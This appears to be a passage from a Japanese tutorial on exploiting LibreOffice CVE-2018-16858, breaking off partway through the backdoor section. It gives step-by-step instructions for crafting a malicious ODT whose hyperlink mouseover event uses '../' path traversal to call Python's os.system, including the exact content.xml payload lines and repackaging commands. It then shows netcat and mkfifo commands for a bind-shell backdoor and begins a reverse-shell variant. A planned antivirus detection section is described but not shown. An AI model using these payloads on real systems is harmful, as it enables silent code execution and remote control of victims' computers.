
CVE-2018-16858 エクスプロイト実装
この記事では、プログラムの単純な脆弱性を利用して、そのプログラムを使用するシステムにバックドアを開く方法を説明します。
問題の脆弱性は、オフィススイートLibreOfficeのCVE-2018-16858で定義されています。この脆弱性は、特別に作成されたファイルにおいてディレクトリトラバーサルを実現し、Pythonコードの実行を可能にします。この実行は、ユーザーがドキュメントに対してアクションを起こしたときにリンクまたはジャンプし、マクロの実行に対する警告が一切ユーザーに与えられることなく行われます。
本書は5つのパートに分かれています。最初のパートでは、脆弱性自体、OpenDocumentの解凍方法、ローカルで実行したいスクリプトを実行するための構造の変更方法、および実行とテストのためにドキュメントを再構成する方法について説明します。
2番目のパートでは、ローカル実行を使用してドキュメントが開かれたシステム上で任意のコマンドを実行する方法を説明し、リモートコマンド実行を可能にするバックドアを生成します。
3番目のパートでは、直接通信またはリバース通信によるバックドアを作成するドキュメントを生成するプロセスを自動化し、接続先のIPアドレスとポートを指定します。
4番目のパートでは、この脆弱性をmetasploitシステムに統合し、msfconsoleを使用してmetasploitのエクスプロイト方法と互換性のあるドキュメントを生成できるようにします。これにより、metasploitスイートで定義された任意のペイロードを実行するコードとして選択できるようになります。
5番目で最後のパートでは、前述の手順によって感染したLibreOfficeタイプのファイルを識別できる検出プロセスをアンチウイルスシステムに統合する方法を示します。アンチウイルスClamAVの検出フォーマットを使用し、アンチウイルスが持つ検出プロセスをより深く理解し、この種の脅威からの防御を容易にします。
全プロセスはDebianベースのLinuxシステムを対象としていますが、ここで説明する内容は詳細に記述されているため、他のシステムにも適用できます。元のCVEの脆弱性と概念実証はWindows版LibreOfficeに対して行われたため、Windows版でも同様に本書の内容を適用するために、常にそのソースを参照できます。
LibreOffice(および遺伝的にApache OpenOffice)は、最新バージョン(6.1.5)より前のバージョンに、ユーザーがマクロの実行について警告されずに、コンピュータ上の任意の場所にあるPythonコードを実行できる脆弱性があります。
この脆弱性を確認するために、テキストエディタで新しいドキュメントを作成し、何か文字を入力して選択し、ハイパーリンクを生成します。テキストにハイパーリンクを作成するには、Insertメニューを選択し、その中のHyperlinkオプションを選択します(テキストを選択してCtrl+Kキーの組み合わせを使用することもできます)。
次のダイアログが表示されます:

ハイパーリンクを定義するには、URLを挿入してApplyをクリックします。ダイアログボックスの下部にあるFurther Settingsと読める部分のURLオプションの他に、Playアイコンのボタンがあり、特定のアクションにイベントをリンクすることもできます。ここで、アクションとしてPythonコードを実行することを定義します。
そのボタンをクリックすると、新しいダイアログが開きます:

その中で、3つの基本イベントと使用するスクリプトを選択できます。イベントとしてMouse Over Objectを選択し、スクリプトとしてLibreOffice Macrosファミリーのスクリプト内のPython Samplesを選択します。そのオプション内には、TableSampleという名前のデフォルトスクリプトのみが存在し、それを選択します。
これを行った後、ハイパーリンクに変換したテキストの上にマウスを移動すると、テーブルがあるドキュメントを含むウィンドウが開くのがわかります。これは、マウスをハイパーリンクの上に移動するイベントをPythonスクリプトに関連付けたことを意味します。私たちが意図するのは、このアクションを好きな別のアクションに置き換えることです。
そのために、作成したドキュメントを保存し、LibreOfficeを終了して、コンソールで一連のコマンドを実行します。
ODTドキュメント形式は、内部に一連のファイルを含むzipにすぎません(Microsoft OfficeのDOCX形式も非常に似ています)。そのため、最初に行うことは、zipファイル解凍ツールを使用してファイルを解凍することです。
ここでは、unzipというコマンドラインツールを使用します。次の文を実行するだけです:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
これにより、OpenDocumentタイプのファイルに実際に含まれているファイルが表示されます。私たちにとって最も重要なのは、mimetypesファイル、content.xmlファイル、およびstyles.xmlファイルです。
mimetypeファイルはzipのファイルリストの最初に表示される必要があるため、ファイルを再パッケージ化する際には、パッケージ化ツールで強制的にそのようにしないと、ファイルがOpenDocumentとして解釈されません。
content.xmlファイルには、書式設定されたテキストと、テキストをどのように表示するかを示す特定のタグが混在した、作成したドキュメントのテキストが含まれています。
例えば、次の行では:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
text:style-name属性によって定義された特定のスタイルで書かれたテキスト段落の例を見ることができます。テキスト段落は、開始タグ<text:p>と終了タグ</text:p>の間にあります。
作成したハイパーリンクに関連付けられたスクリプトも、非常に簡単に見ることができます。content.xmlのテキスト内でpythonという単語、またはロードしたpythonスクリプトの名前(この場合はTableSample.py)を検索すると、変更すべき行を簡単に見つけることができます:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
この行には、マウスをハイパーリンクの上に置いたときにロードされるPythonスクリプトのパス(TableSample.py)と、実行されるPythonコードの関数(この場合はcreateTable)が含まれています。
LibreOfficeに内在する問題は、ドキュメントを読み取るときに、ロードするPythonコードの値が適切にサニタイズされないことです。プログラムはファイルパスから**../**文字をサニタイズしないため、ドキュメントが開かれたシステム上の任意のファイルにアクセスできます。さらに、アクセスしたファイルがPythonコードを含むファイルであれば、そのファイルで定義された任意の関数を実行できます。
最初の概念実証として、ハイパーリンクの上にマウスを移動したときに電卓(この場合はgalculatorプログラム)を起動させるようにします。LibreOfficeが実行を期待するスタイルで、関数内でコマンドを実行できるPythonプログラムを生成する必要があります。そのために、パス**/tmp/prueba.py**に次のコードを生成します:
import os;
def ejecuta():
os.system("galculator");
この小さなコードで目的を達成できます。あとは、odtファイル内の呼び出しに、Pythonファイル**/tmp/prueba.pyと関数名ejecuta**の両方を追加するだけです。したがって、Pythonを呼び出していた行は次のようになります:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
見てわかるように、ファイルシステムのルートまで確実に昇格するために多数の**../を追加し、そこからPythonファイル(prueba.py)への特定のパスを追加しました。$の後には、電卓を起動させる関数ejecuta**という単語が追加されています。
これを行った後、最初のファイルとしてmimetypeを配置することを忘れずに、odtファイルを再パッケージ化します。zipユーティリティを使用する場合は、odtを解凍したディレクトリ(悪意のあるcontent.xmlを含む)で次のコマンドを実行するだけです:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
これを行った後、LibreOfficeでファイルを開き、ハイパーリンクの上にマウスを移動すると電卓プログラムが実行されるのを観察します。
この最初のステップでは、パラメータなしで実行できる関数を持つPythonコードを生成する必要があります。実装は簡単ですが、実際のペネトレーションテストで信頼性のあるまたは再現可能な環境で使用するのは難しいかもしれません。
LibreOfficeバージョン6.1以降では、Python関数の呼び出しにパラメータを渡すことが可能です。これにより、プログラムの合法的なマクロ使用を望む人々にとってスクリプト作成の自由度が高まりますが、同時にソフトウェアの隙間を探す人々にとってはまたとない機会を提供します。
先ほど述べたように、実際に使用した方法では、任意のコマンドを実行するためにシステムコールを行うには、osクラスとsystem関数を呼び出します。電卓を呼び出すためにパラメータとして文字列galculatorを渡したのがそれです。Pythonクラスの良いところは、それらがどのパスにあるかを知ることができることであり、関数にパラメータを渡せることを利用するために、そのクラスの場所を探すことができます。先ほどは/tmp/にあるprueba.pyというPythonプログラムの関数を実行しました。今度は、システムライブラリの1つであるos.pyというPythonプログラムにあるsystem関数を直接呼び出します。 例えば、現在のLinuxシステムでは、通常**/usr/lib/python3.5/os.pyにありますので、先ほどのパス/tmp/prueba.pyをこの新しいパスに変更します。関数ejecutaを関数systemに変更し、さらにこの関数にパラメータを渡せるため、電卓プログラムgalculator**、または任意の他のプログラムを、LibreOfficeドキュメントが開かれるマシンで実行するPythonファイルを生成することなく、直接実行できます。
以前はcontent.xmlファイルに次の文字列がありました:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
今は単に次のようになります:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
LibreOfficeドキュメントとしてファイルをパッケージ化する方法はまったく同じです。結果として、特定のパスにPythonプログラムを配置する必要なく、odtドキュメントを開くだけで済みます。ただし、ドキュメントが開かれるバージョンが少なくともLibreOffice 6.1以上である必要があります。
ファイルが開かれ、マウスがドキュメントのリンクの上に置かれると、前の例と同じように電卓アプリケーションが起動します。
ドキュメントが開かれたときに実行されるコマンドはローカルマシンで実行されるため、その実行の用途の1つは、他の場所からリモートでコマンドを実行できるバックドアを開くことです。
非常に簡単なバックドアを作成するには、ncコマンドを使用し、fifoを作成して同じポートでコマンドをコンピュータに送信し、その実行結果を取得できるようにします。コマンド実行のための脆弱性への最初のアプローチでは、Pythonプログラムを作成する必要がありました。アイデアは、エクスプロイトするコンピュータに追加のコードをアップロードする必要がないようにすることなので、バックドアの生成にはシステムコマンドを使用します。
ncコマンドはシステムコマンドで、ローカルシステムにポートを開いたり、リモートシステムのポートに接続したりして、その接続で受信したものを標準出力に出力し、標準入力に入力されたものを他のマシンへの接続に送信することができます。パイプ**|を使用して、実行中のコマンドの画面出力を別のコマンドに渡すことができるため、ncコマンドと/bin/bashコマンドを連結すると、リモートコマンド実行の簡単な解決策が得られます。nc ip puerto | /bin/bashを実行すると、ncコマンドが行う接続を介して届いたものが/bin/bashコマンドに渡され、シェルが実行されるため、接続したコンピュータから送信されたすべてのコマンドが実行されます。しかし、これらのコマンドの標準出力はncコマンドに返されないため、その出力は表示されません。/bin/bashコマンドの標準出力を別のポートを使用する新しいnc**コマンドにリダイレクトすることもできますが、その場合、コマンドの送信とコマンド出力の受信に2つのポートが必要になり、やや粗雑です。
簡単な解決策はfifoを使用することです。mkfifoコマンドは、書き込みと読み取りを同時に実行できるファイルを生成します。そのため、fifoファイルを作成し、それをncコマンドの入力として使用して、そのファイルに書き込まれたすべてのものが接続を介して送信されるようにし、また**/bin/bash**コマンドの出力として使用して、そのコマンドで実行されたすべての出力がfifoファイルに書き込まれるようにします。
任意のLinux端末でサーバーとして機能するバックドアを作成するための一連のコマンドは次のとおりです:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;
他のコンピュータからそのマシンに接続するには、次のコマンドを実行する必要があります:
user@host:~/$ nc ip puerto
ここで、ipはバックドアがあるマシンのIPアドレス、puertoはバックドアを実行したマシンでncを実行する際に指定した値と同じです。
ターゲットマシンのネットワーク上のファイアウォールの問題により、そのマシンをサーバーとして使用できない場合は、逆の方法で、バックドアのあるマシンが自分の制御下にあるサーバーに接続するようにできます。そのためには、まず自分のマシンで次のコマンドを実行します:
user@host:~/$ nc -l -p puerto
そして、バックドアのあるマシンで、次の非常に似た一連のコマンドを実行します: